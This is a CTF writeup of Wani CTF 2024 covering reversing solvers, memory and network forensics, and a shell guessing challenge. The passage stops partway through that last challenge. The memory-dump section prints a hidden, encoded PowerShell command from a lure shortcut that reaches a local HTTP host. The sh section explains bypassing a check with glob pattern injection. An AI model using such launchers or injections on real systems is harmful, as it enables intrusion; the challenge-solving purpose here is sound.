All Articles

Wani CTF 2024 Writeup

This page has been machine-translated from the original page.

In June 2024, I participated in Wani CTF as part of 0nePadding, and we finished 21st out of 1,493 teams.

image-20240625002502276

As usual, I put together a quick writeup.

Table of Contents

lambda(Rev)

Let’s dance with lambda!

The following Python script was provided as the challenge binary.

import sys

sys.setrecursionlimit(10000000)

(lambda _0: _0(input))(lambda _1: (lambda _2: _2('Enter the flag: '))(lambda _3: (lambda _4: _4(_1(_3)))(lambda _5: (lambda _6: _6(''.join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))(lambda _10: (lambda _11: _11(''.join))(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17(''.join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))(lambda _21: (lambda _22: _22(''.join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))(lambda _29: (lambda _30: _30(''.join))(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(lambda _37: lambda _38: _37 == _38))(lambda _39: (lambda _40: _40(print))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!'))(lambda _53: (lambda _54: _54('Incorrect'))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))))

There are many nested lambdas here, but you do not need to read them too literally. If you pull out the elements from the top in order, the overall behavior becomes fairly intuitive.

input
'Enter the flag: '
''.join
(chr(ord(c) + 12) for c in _9)
''.join
(chr(ord(c) - 3) for c in _10(_5))
''.join
(chr(123 ^ ord(c)) for c in _20)
''.join
(_21(c) for c in _16)
_28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r')
''.join
(chr(int(c,36) + 10) for c in _29.split('_'))
_38: _37 == _38
_40(print)
_52('Correct FLAG!')
_54('Incorrect')

Reading it from the top down, we can see that it performs the following operations.

  • Takes input
  • Adds 12 to each character
  • Subtracts 3 from each character
  • XORs each character with 123
  • Converts the underscore-separated base-36 string 16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r to integers
  • Compares two values somehow
  • Prints Correct FLAG! or Incorrect

By reversing the sequence we can infer from this, we can write the following solver.

def decode_and_verify_flag():
    encoded_string = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
    decoded_step1 = ''.join(chr(int(c, 36) + 10) for c in encoded_string.split('_'))
    decoded_step2 = ''.join(chr(123 ^ ord(c)) for c in decoded_step1)
    decoded_step3 = ''.join(chr(ord(c) + 3) for c in decoded_step2)
    decoded_step4 = ''.join(chr(ord(c) - 12) for c in decoded_step3)
    print(decoded_step4)

decode_and_verify_flag()

Running it reveals that FLAG{l4_1a_14mbd4} is the correct flag.

home(Rev)

I obfuscated the function that processes the FLAG. You probably do not want to read it… right!

Decompiling the main function of the challenge binary gives the following result.

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    void buf;
    int32_t rax_5;
    if (getcwd(&buf, 0x400) == 0)
    {
        perror("Error");
        rax_5 = 1;
    }
    else
    {
        char* rax_2 = strstr(&buf, "Service");
        int64_t rax_4;
        if (rax_2 == 0)
        {
            puts(&data_20ff);
        }
        else
        {
            puts("Check passed!");
            rax_4 = ptrace(PTRACE_TRACEME, 0, 0, 0);
            if (rax_4 != -1)
            {
                constructFlag();
            }
        }
        if ((rax_2 == 0 || (rax_2 != 0 && rax_4 != -1)))
        {
            rax_5 = 0;
        }
        if ((rax_2 != 0 && rax_4 == -1))
        {
            puts("Debugger detected!");
            rax_5 = 1;
        }
    }
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
    {
        return rax_5;
    }
    __stack_chk_fail();
    /* no return */
}

In this function, it first checks whether the current directory name obtained with getcwd is Service, and if it can attach to itself with ptrace, it executes constructFlag.

The constructFlag function seems to perform a very complex process related to generating the flag.

int64_t constructFlag()
{
    int64_t r15;
    int64_t var_10 = r15;
    int64_t r14;
    int64_t var_18 = r14;
    int64_t r13;
    int64_t var_20 = r13;
    int64_t r12;
    int64_t var_28 = r12;
    int64_t rbx;
    int64_t var_30 = rbx;
    void var_118;
    int32_t rdx;
    uint64_t rdi_1;
    uint32_t r9;
    int32_t r10;
    rdx = memcpy(&var_118, &data_2010, 0xb0);
    int32_t var_11c = 0;
    int32_t var_128 = 0x7c46699a;
    while (true)
    {
        int32_t var_130_1 = (var_128 - 0xa2245c7a);
        int32_t var_124;
        bool r11_1;
        if (var_128 == 0xa2245c7a)
        {
            int32_t rax_61 = 0x60b926fc;
            var_124 = (var_124 + 1);
            uint32_t x_5 = x;
            r9 = ((x_5 * (x_5 - 1)) & 1) == 0;
            r10 = y < 0xa;
            r11_1 = (r9 & r10);
            r9 = (r9 ^ r10);
            if (((r11_1 | r9) & 1) != 0)
            {
                rax_61 = -0x51fc1498;
            }
            var_128 = rax_61;
        }
        else
        {
            int32_t var_134_1 = (var_128 - 0xae03eb68);
            if (var_128 == 0xae03eb68)
            {
                var_128 = 0x19056f3d;
            }
            else
            {
                int32_t var_138_1 = (var_128 - 0xbb1ffe21);
                char var_31;
                if (var_128 == 0xbb1ffe21)
                {
                    int32_t rax_52 = 0x54525dca;
                    rdx = var_31;
                    if ((rdx & 1) != 0)
                    {
                        rax_52 = -0x1c311557;
                    }
                    var_128 = rax_52;
                }
                else
                {
                    int32_t var_13c_1 = (var_128 - 0xcb295bc0);
                    if (var_128 == 0xcb295bc0)
                    {
                        int32_t rax_58 = 0x58d9f831;
                        rdx = 1;
                        uint32_t x_3 = x;
                        r9 = ((x_3 * (x_3 - 1)) & 1) == 0;
                        r10 = y < 0xa;
                        r11_1 = (r9 ^ 0xff);
                        rbx = r10;
                        rbx = (rbx ^ 0xff);
                        rdx = 0;
                        r14 = r11_1;
                        r14 = (r14 & 0xff);
                        r9 = 0;
                        r15 = rbx;
                        r15 = (r15 & 0xff);
                        r10 = 0;
                        r14 = (r14 | 0);
                        r15 = (r15 | 0);
                        r14 = (r14 ^ r15);
                        rdx = 1;
                        r14 = (r14 | (((r11_1 | rbx) ^ 0xff) & 1));
                        if ((r14 & 1) != 0)
                        {
                            rax_58 = -0x1d900a39;
                        }
                        var_128 = rax_58;
                    }
                    else
                    {
                        int32_t var_140_1 = (var_128 - 0xd2cc8233);
                        int32_t var_120;
                        if (var_128 == 0xd2cc8233)
                        {
                            var_120 = (var_120 + 1);
                            var_128 = 0x694bd910;
                        }
                        else
                        {
                            int32_t var_144_1 = (var_128 - 0xdb9d01fc);
                            if (var_128 == 0xdb9d01fc)
                            {
                                var_128 = 0xdd0621c0;
                            }
                            else
                            {
                                int32_t var_148_1 = (var_128 - 0xdd0621c0);
                                if (var_128 == 0xdd0621c0)
                                {
                                    int32_t rax_60 = 0x60b926fc;
                                    rdx = 1;
                                    uint32_t x_4 = x;
                                    r9 = ((x_4 * (x_4 - 1)) & 1) == 0;
                                    r10 = y < 0xa;
                                    r11_1 = (r9 ^ 0xff);
                                    rbx = r10;
                                    rbx = (rbx ^ 0xff);
                                    rdx = 0;
                                    r14 = r11_1;
                                    r14 = (r14 & 0xff);
                                    r9 = 0;
                                    r15 = rbx;
                                    r15 = (r15 & 0xff);
                                    r10 = 0;
                                    r14 = (r14 | 0);
                                    r15 = (r15 | 0);
                                    r14 = (r14 ^ r15);
                                    rdx = 1;
                                    r14 = (r14 | (((r11_1 | rbx) ^ 0xff) & 1));
                                    if ((r14 & 1) != 0)
                                    {
                                        rax_60 = -0x5ddba386;
                                    }
                                    var_128 = rax_60;
                                }
                                else
                                {
                                    int32_t var_14c_1 = (var_128 - 0xde3c30d3);
                                    if (var_128 == 0xde3c30d3)
                                    {
                                        int32_t rax_51 = 0x34e86ff4;
                                        rdx = var_120 < 0x2c;
                                        rdx = (rdx & 1);
                                        var_31 = rdx;
                                        uint32_t x_2 = x;
                                        rdx = ((x_2 * (x_2 - 1)) & 1) == 0;
                                        r9 = y < 0xa;
                                        r10 = rdx;
                                        r10 = (r10 & r9);
                                        rdx = (rdx ^ r9);
                                        r10 = (r10 | rdx);
                                        if ((r10 & 1) != 0)
                                        {
                                            rax_51 = -0x44e001df;
                                        }
                                        var_128 = rax_51;
                                    }
                                    else
                                    {
                                        int32_t var_150_1 = (var_128 - 0xe26ff5c7);
                                        void var_68;
                                        if (var_128 == 0xe26ff5c7)
                                        {
                                            int32_t rax_59 = 0x58d9f831;
                                            rdx = 1;
                                            *(uint8_t*)(&var_68 + ((int64_t)var_124)) = (((int8_t)*(uint32_t*)(&var_118 + (((int64_t)var_124) << 2))) + (0 - var_124));
                                            uint32_t x_6 = x;
                                            r11_1 = ((x_6 * (x_6 - 1)) & 1) == 0;
                                            rbx = y < 0xa;
                                            r14 = r11_1;
                                            r14 = (r14 ^ 0xff);
                                            r15 = rbx;
                                            r15 = (r15 ^ 0xff);
                                            rdx = 1;
                                            r12 = r14;
                                            r12 = 0;
                                            r13 = r15;
                                            r13 = 0;
                                            rbx = (rbx & 1);
                                            r12 = (0 | (r11_1 & 1));
                                            r13 = (0 | rbx);
                                            r12 = (r12 ^ r13);
                                            r14 = (r14 | r15);
                                            r14 = (r14 ^ 0xff);
                                            rdx = 1;
                                            r14 = (r14 & 1);
                                            r12 = (r12 | r14);
                                            if ((r12 & 1) != 0)
                                            {
                                                rax_59 = -0x2462fe04;
                                            }
                                            var_128 = rax_59;
                                        }
                                        else
                                        {
                                            int32_t var_154_1 = (var_128 - 0xe3ceeaa9);
                                            if (var_128 == 0xe3ceeaa9)
                                            {
                                                int32_t rdx_3 = *(uint32_t*)(&var_118 + (((int64_t)var_120) << 2));
                                                *(uint32_t*)(&var_118 + (((int64_t)var_120) << 2)) = (((rdx_3 ^ 0xffffffff) & 0x19f) | (rdx_3 & 0xfffffe60));
                                                var_128 = 0xd2cc8233;
                                            }
                                            else
                                            {
                                                int32_t var_158_1 = (var_128 - 0x19341ee);
                                                if (var_128 == 0x19341ee)
                                                {
                                                    break;
                                                }
                                                int32_t var_15c_1 = (var_128 - 0x19056f3d);
                                                if (var_128 == 0x19056f3d)
                                                {
                                                    int32_t rax_57 = 0x19341ee;
                                                    if (var_124 < 0x2c)
                                                    {
                                                        rax_57 = -0x34d6a440;
                                                    }
                                                    var_128 = rax_57;
                                                }
                                                else
                                                {
                                                    int32_t var_160_1 = (var_128 - 0x25d256eb);
                                                    if (var_128 == 0x25d256eb)
                                                    {
                                                        int32_t var_184_1 = 2;
                                                        int32_t temp15_1;
                                                        int32_t temp16_1;
                                                        temp15_1 = HIGHD(((int64_t)*(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2))));
                                                        temp16_1 = LOWD(((int64_t)*(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2))));
                                                        *(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2)) = (COMBINE(temp15_1, temp16_1) / 2);
                                                        var_128 = 0x299ff63b;
                                                    }
                                                    else
                                                    {
                                                        int32_t var_164_1 = (var_128 - 0x299ff63b);
                                                        if (var_128 == 0x299ff63b)
                                                        {
                                                            var_11c = (var_11c + 1);
                                                            var_128 = 0x7c46699a;
                                                        }
                                                        else
                                                        {
                                                            int32_t var_168_1 = (var_128 - 0x33ee2572);
                                                            if (var_128 == 0x33ee2572)
                                                            {
                                                                var_120 = 0;
                                                                var_128 = 0x694bd910;
                                                            }
                                                            else
                                                            {
                                                                int32_t var_16c_1 = (var_128 - 0x34e86ff4);
                                                                if (var_128 == 0x34e86ff4)
                                                                {
                                                                    var_128 = 0xde3c30d3;
                                                                }
                                                                else
                                                                {
                                                                    int32_t var_170_1 = (var_128 - 0x54525dca);
                                                                    if (var_128 == 0x54525dca)
                                                                    {
                                                                        var_124 = 0;
                                                                        var_128 = 0x19056f3d;
                                                                    }
                                                                    else
                                                                    {
                                                                        int32_t var_174_1 = (var_128 - 0x58d9f831);
                                                                        if (var_128 == 0x58d9f831)
                                                                        {
                                                                            rdi_1 = (*(uint32_t*)(&var_118 + (((int64_t)var_124) << 2)) + (0 - var_124));
                                                                            *(uint8_t*)(&var_68 + ((int64_t)var_124)) = rdi_1;
                                                                            var_128 = 0xe26ff5c7;
                                                                        }
                                                                        else
                                                                        {
                                                                            int32_t var_178_1 = (var_128 - 0x60b926fc);
                                                                            if (var_128 == 0x60b926fc)
                                                                            {
                                                                                var_124 = (var_124 + 1);
                                                                                var_128 = 0xa2245c7a;
                                                                            }
                                                                            else
                                                                            {
                                                                                int32_t var_17c_1 = (var_128 - 0x694bd910);
                                                                                if (var_128 == 0x694bd910)
                                                                                {
                                                                                    int32_t rax_50 = 0x34e86ff4;
                                                                                    uint32_t x_1 = x;
                                                                                    r9 = ((x_1 * (x_1 - 1)) & 1) == 0;
                                                                                    r10 = y < 0xa;
                                                                                    r11_1 = (r9 & r10);
                                                                                    r9 = (r9 ^ r10);
                                                                                    if (((r11_1 | r9) & 1) != 0)
                                                                                    {
                                                                                        rax_50 = -0x21c3cf2d;
                                                                                    }
                                                                                    var_128 = rax_50;
                                                                                }
                                                                                else
                                                                                {
                                                                                    int32_t var_180_1 = (var_128 - 0x7c46699a);
                                                                                    if (var_128 == 0x7c46699a)
                                                                                    {
                                                                                        int32_t rax_42 = 0x33ee2572;
                                                                                        if (var_11c < 0x2c)
                                                                                        {
                                                                                            rax_42 = 0x25d256eb;
                                                                                        }
                                                                                        var_128 = rax_42;
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    int32_t rax_21;
    rax_21 = 0;
    int32_t var_188 = printf("Processing completed!");
    return 0;
}

Even without reading the implementation in detail, it seems likely that debugging this function would let us inspect the generated flag.

Since the anti-debugging technique used here was only a ptrace attach, I patched that part, then launched the copied program from the Service directory under gdb and debugged it.

b *0x5555555558e5

After setting the breakpoint above and running the program, I could easily recover the generated flag by searching memory for the flag string, as shown below.

image-20240621220050457

gate(Rev)

I put a flag into the gate, and something came out. What is the flag?

Decompiling the challenge binary shows that it takes a 32-character input (0x200//0x10) and stores it in the buffer in the form 1 <input character> every 0x10 bytes.

image-20240621221752384

After that, this buffer is evaluated and processed in the following function.

Here, it seems to apply different operations to the input characters depending on the integer values embedded in the buffer.

void* sub_1220()
{
    void* i = &data_4040;
    do
    {
        int32_t rdx_4 = *(uint32_t*)i;
        if (rdx_4 == 3)
        {
            void* rdx_11 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
            if (*(uint8_t*)((char*)rdx_11 + 0xc) != 0)
            {
                void* rdi_7 = ((((int64_t)*(uint32_t*)((char*)i + 8)) << 4) + &data_4040);
                if (*(uint8_t*)((char*)rdi_7 + 0xc) != 0)
                {
                    char rdx_12 = (*(uint8_t*)((char*)rdx_11 + 0xd) ^ *(uint8_t*)((char*)rdi_7 + 0xd));
                    *(uint8_t*)((char*)i + 0xc) = 1;
                    *(uint8_t*)((char*)i + 0xd) = rdx_12;
                }
            }
        }
        else
        {
            if ((rdx_4 == 1 || rdx_4 == 2))
            {
                void* rdx_3 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
                if (*(uint8_t*)((char*)rdx_3 + 0xc) != 0)
                {
                    void* rdi_3 = ((((int64_t)*(uint32_t*)((char*)i + 8)) << 4) + &data_4040);
                    if (*(uint8_t*)((char*)rdi_3 + 0xc) != 0)
                    {
                        char rdi_4 = (*(uint8_t*)((char*)rdi_3 + 0xd) + *(uint8_t*)((char*)rdx_3 + 0xd));
                        *(uint8_t*)((char*)i + 0xc) = 1;
                        *(uint8_t*)((char*)i + 0xd) = rdi_4;
                    }
                }
            }
            if (rdx_4 == 4)
            {
                void* rdx_7 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
                if (*(uint8_t*)((char*)rdx_7 + 0xc) != 0)
                {
                    char rdx_8 = *(uint8_t*)((char*)rdx_7 + 0xd);
                    i = ((char*)i + 0x10);
                    *(uint8_t*)((char*)i - 4) = 1;
                    *(uint8_t*)((char*)i - 3) = rdx_8;
                    if (i == &stdin)
                    {
                        break;
                    }
                    continue;
                }
            }
        }
        i = ((char*)i + 0x10);
    } while (i != &stdin);
    return i;
}

Eventually, if the data in the buffer matches a hardcoded byte sequence, the input is judged to be the correct flag.

By this point, it was clear that this was the kind of problem you can solve with brute-force angr, so I wrote the following solver.

import angr
import claripy

proj = angr.Project("gates", auto_load_libs=False)
obj = proj.loader.main_object
print("Entry", hex(obj.entry))

find = 0x401124
avoids = [0x40110c]

flag = claripy.BVS('flag', 32*8, explicit_name=True)

init_state = proj.factory.entry_state()
for i in range(19):
    init_state.solver.add(flag.get_byte(i) >= 0x21)
    init_state.solver.add(flag.get_byte(i) <= 0x7f)

init_state = proj.factory.entry_state(stdin=flag)
simgr = proj.factory.simgr(init_state)
simgr.explore(find=find, avoid=avoids)

# 出力
simgr.found[0].posix.dumps(0)

# FLAG{INTr0dUction_70_R3v3R$1NG1}

Running this script takes a little time, but it identifies the correct flag. (This might not have been the intended solution…)

I unusually got the flag very smoothly, and since I was happy to solve it third, I took a commemorative screenshot.

image-20240621224709145

Thread(Rev)

W… wha…!?

Decompiling the main function of the challenge binary gives the following result.

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    printf("FLAG: ");
    void var_48;
    int32_t rax_4;
    if (__isoc99_scanf("%45s", &var_48) != 1)
    {
        puts("Failed to scan.");
        rax_4 = 1;
    }
    else if (strlen(&var_48) != 0x2d)
    {
        puts("Incorrect.");
        rax_4 = 1;
    }
    else
    {
        for (int32_t i = 0; i <= 0x2c; i = (i + 1))
        {
            *(uint32_t*)((((int64_t)i) << 2) + &data_4140) = ((int32_t)*(uint8_t*)(&var_48 + ((int64_t)i)));
        }
        pthread_mutex_init(&data_4100, nullptr);
        void var_1b8;
        for (int32_t i_1 = 0; i_1 <= 0x2c; i_1 = (i_1 + 1))
        {
            void var_278;
            *(uint32_t*)(&var_278 + (((int64_t)i_1) << 2)) = i_1;
            pthread_create(((((int64_t)i_1) << 3) + &var_1b8), 0, sub_1289, (&var_278 + (((int64_t)i_1) << 2)));
        }
        for (int32_t i_2 = 0; i_2 <= 0x2c; i_2 = (i_2 + 1))
        {
            pthread_join(*(uint64_t*)(&var_1b8 + (((int64_t)i_2) << 3)), 0);
        }
        pthread_mutex_destroy(&data_4100);
        int32_t var_27c_1 = 0;
        while (true)
        {
            if (var_27c_1 > 0x2c)
            {
                puts("Correct!");
                rax_4 = 0;
                break;
            }
            if (*(uint32_t*)((((int64_t)var_27c_1) << 2) + &data_4140) != *(uint32_t*)((((int64_t)var_27c_1) << 2) + &data_4020))
            {
                puts("Incorrect.");
                rax_4 = 1;
                break;
            }
            var_27c_1 = (var_27c_1 + 1);
        }
    }
    *(uint64_t*)((char*)fsbase + 0x28);
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
    {
        return rax_4;
    }
    __stack_chk_fail();
    /* no return */
}

In this function, it takes an input string of 0x2d characters and creates and runs a thread for each character that executes the callback function defined in sub_1289.

Inside this callback function, it performs the following operations on the buffer storing the input characters.

int64_t sub_1289(int32_t* arg1)
{
    int32_t rax_1 = *(uint32_t*)arg1;
    int32_t i = 0;
    while (i <= 2)
    {
        pthread_mutex_lock(&data_4100);
        int32_t rax_6 = ((rax_1 + *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200)) % 3);
        if (rax_6 == 0)
        {
            *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) * 3);
        }
        if (rax_6 == 1)
        {
            *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) + 5);
        }
        if (rax_6 == 2)
        {
            *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) ^ 0x7f);
        }
        *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200) + 1);
        i = *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200);
        pthread_mutex_unlock(&data_4100);
    }
    return 0;
}

Here, depending on the result of taking each index value in the separately defined data_4200 table modulo 3, a different calculation is applied to the character.

The computation itself is very simple: one of three operations is applied based on the input character’s index modulo 3.

So I wrote the following script to reverse the byte sequence hardcoded in data_4020, which recovered the correct flag.

base = [
	0x00a8, 0x008a, 0x00bf, 0x00a5,
	0x02fd, 0x0059, 0x00de, 0x0024,
	0x0065, 0x010f, 0x00de, 0x0023,
	0x015d, 0x0042, 0x002c, 0x00de,
	0x0009, 0x0065, 0x00de, 0x0051,
	0x00ef, 0x013f, 0x0024, 0x0053,
	0x015d, 0x0048, 0x0053, 0x00de,
	0x0009, 0x0053, 0x014b, 0x0024,
	0x0065, 0x00de, 0x0036, 0x0053,
	0x015d, 0x0012, 0x004a, 0x0124,
	0x003f, 0x005f, 0x014e, 0x00d5,
	0x000b
]

flag = ""
for k in range(0x2d):
    if k % 3 == 0:
        flag += chr((((base[k] ^ 0x7f) - 5) // 3))
    if k % 3 == 1:
        flag += chr(((base[k] // 3) ^0x7f) - 5)
    if k % 3 == 2:
        flag += chr((((base[k] -5) // 3) ^ 0x7f))

print(flag)

# FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}

The challenge was titled Thread and did implement multithreading, but since it also used a mutex, it did not feel particularly thread-like to me.

tiny usb(Forensic)

The USB is tiny

When I opened the ISO provided as the challenge binary, the following flag was there.

image-20240622012409952

That’s all.

Surveillance of sus(Forensic)

A certain PC has been behaving suspiciously, as if someone malicious were operating it.

It seems someone managed to retrieve some kind of cache file from that PC, so please investigate it!

The challenge file was an RDP screen bitmap cache file.

After merging the images with bmc-tools, I was able to recover the flag FLAG{RDP_is_useful_yipeee}.

python3 bmc-tools.py -s Cache_chal.bin -d images -b

Reference: ANSSI-FR/bmc-tools: RDP Bitmap Cache parser

image-20240622013521060

codebreaker(Forensic)

I, the codebreaker, have broken the QR code!

A broken QR code is provided.

chal_codebreaker

I vaguely remembered that if even part of the corner markers remained, a QR code reader could still read the link. But here the × marks had wiped out all of those blocks, so it could not be read as-is.

However, when I tried shifting the image with Aozora ShiroNeko, I was able to restore it to a readable state as shown below.

image-20240622095056651

Reading this QR code gives the flag FLAG{How_scan-dalous}.

As an alternative solution, it seems there is a way to reconstruct the QR code itself.

That approach looks pretty hard, but maybe that was the intended solution…

Reference: public-writeup/mma2015/misc400-qr/writeup.md at master · pwning/public-writeup

mem search(Forensic)

I found an unknown file and opened it, and it behaved strangely, so I captured a memory dump!

How was the attack carried out?

The memory dump is large, so it is distributed at the URL below (it becomes 2 GB after extraction).

It may become unavailable after WaniCTF ends.

https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing

Note: There are two flags in the file. The flag starting with FLAG{H is not the answer this time. Please submit the flag starting with FLAG{D.

Since it was a full Windows memory dump, I first checked the information with vol3.

vol3 -f chal_mem_search.DUMP windows.info.Info

image-20240622095645711

Enumerating running processes was not very useful.

vol3 -f chal_mem_search.DUMP windows.psscan.PsScan

image-20240622103021006

Next, I tried file scanning and found suspicious files in the user folder containing read_this_as_admin.

vol3 -f chal_mem_search.DUMP windows.filescan.FileScan

I extracted these files with the following commands.

0xcd88cebc26c0  \Users\Mikka\Desktop\read_this_as_admin.lnknload
0xcd88cebae1c0  \Users\Mikka\Downloads\read_this_as_admin.download
0xcd88ceb9f2b0  \Users\Mikka\Desktop\echo.txt

vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebae1c0
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88ceb9f2b0

image-20240622103609736

When I extracted read_this_as_admin.lnknload, I found that it executes PowerShell-encoded code like the following.

image-20240622105649491

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHo

Decoding this data showed that it was a substring of a URL like the one below, which gave us the first half of the flag.

image-20240622105624860

http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGl

image-20240622105756735

I was wondering how to recover the full flag from there, but one of my teammates realized that the complete URL could be obtained from Edge’s History file.

0xcd88cd53e460  \Users\Mikka\AppData\Local\Microsoft\Edge\User Data\Default\History     216
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cd53e460

image-20240622111944874

So, by decoding that, we were able to recover the complete flag.

image-20240622112047127

Also, for some reason, when I extracted read_this_as_admin.lnknload again with the same command, I was able to obtain the complete .lnk file containing the flag.

image-20240623224946717

The file extraction in vol3 may be a bit unstable, so it is probably worth being careful about file corruption.

I wanna be a streamer(Forensic)

Sorry, Mom, I’m going to make a living as a streamer. Drop by the stream once in a while. (The video is encoded with H.264.)

Since the video was encoded with H.264, I first changed a few RTP analysis settings.

image-20240621233707028

image-20240621233743293

Reference: How to Analyze RTP with Wireshark - fumiLab

That gave the following analysis result.

image-20240621233633007

To extract the video from there, I used the following h264extractor plugin.

Reference: volvet/h264extractor: wireshark plugin to extract h264 or opus stream from rtp packets

Reference: Initial setup for using Lua scripts in Wireshark #Wireshark - Qiita

In the current version of Wireshark, it seems that you can use the plugin just by placing its Lua file in the plugins folder.

image-20240622003237063

Using this plugin, I extracted the H264 file, converted it to mp4, and played the video to get the flag.

image-20240622003102230

tiny 10px(Forensic)

The world is small What a small world!

The challenge file was a 10px-by-10px jpg, and it looked like a typical SOF0-manipulation problem.

I adjusted the size more or less arbitrarily with the following script.

def modify_sof0_segment(jpeg_path, new_width, new_height, n):
    with open(jpeg_path, "rb") as file:
        jpeg_data = bytearray(file.read())

    # SOF0セグメントの位置を検索
    sof0_marker = b'\xff\xc0'
    sof0_start = jpeg_data.find(sof0_marker)

    # SOF0セグメントのパラメータの位置を検索して表示
    parameter_start = sof0_start + 5
    print("Original SOF0 width : {}".format(int.from_bytes(jpeg_data[parameter_start:parameter_start + 2],"big")))
    print("Original SOF0 height : {}".format(int.from_bytes(jpeg_data[parameter_start + 2:parameter_start + 4],"big")))

    # 新しい幅と高さをバイト列に変換
    new_width_bytes = new_width.to_bytes(2, byteorder='big')
    new_height_bytes = new_height.to_bytes(2, byteorder='big')

    # 幅と高さを置き換える
    jpeg_data[parameter_start:parameter_start + 2] = new_width_bytes
    jpeg_data[parameter_start + 2:parameter_start + 4] = new_height_bytes

    print("New SOF0 width : {}".format(int.from_bytes(jpeg_data[parameter_start:parameter_start + 2],"big")))
    print("New SOF0 height : {}".format(int.from_bytes(jpeg_data[parameter_start + 2:parameter_start + 4],"big")))

    # 変更後のJPEGファイルを保存
    # modified_jpeg_path = "modified.jpg"
    modified_jpeg_path = f"./out/modified_{n}.jpg"
    with open(modified_jpeg_path, "wb") as file:
        file.write(jpeg_data)
        print("==> Saved new JPEG")

# 使用例
for i in range(10,10000,5):
    jpeg_path = "chal_tiny_10px.jpg"
    new_width = 20
    new_height = i
    modify_sof0_segment(jpeg_path, new_width, new_height, i)

However, I could not find any image where the height and width landed in just the right place.

So I decided to crop out the parts of the generated images that looked like the flag characters and stitch them together.

image-20240622121856808

I could not infer the flag from there myself, but a teammate identified it quickly.

image-20240622121850513

Reference: Hiding Information by Manipulating an Image’s Height

I later realized that keeping the original square aspect ratio was apparently important. After slightly modifying the script above to brute-force square images, I was able to read the flag clearly when the image became 155 px on a side.

image-20240623225714467

sh(Misc)

Guess?

The following script was provided as the challenge binary.

#!/usr/bin/env sh

set -euo pipefail

printf "Can you guess the number? > "

read i

if printf $i | grep -e [^0-9]; then
    printf "bye hacker!"
    exit 1
fi

r=$(head -c512 /dev/urandom | tr -dc 0-9)

if [[ $r == $i ]]; then
    printf "How did you know?!"
    cat flag.txt
else
    printf "Nope. It was $r."
fi

This script checks whether the digit string received as input matches a randomly generated digit string.

At first, I tried various things, wondering whether printf $i might allow command injection or format-string attacks, but I could not get anything to work.

However, thanks to an idea from a teammate, we realized that the evaluation in if [[ $r == $i ]]; could be abused using shell pattern matching.

image-20240623231924615

This means that if you run a command like the following, if [[ $r == [0-9]* ]]; will always evaluate to true.

r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == [0-9]* ]]; then printf "How did you know?!"; cat flag.txt; else printf "Nope. It was $r."; fi

So we realized that we only had to inject into $i a pattern that matches any digit string.

However, if we try to send [0-9]* directly to the challenge server, it gets rejected by the input validation.

image-20240623233110068

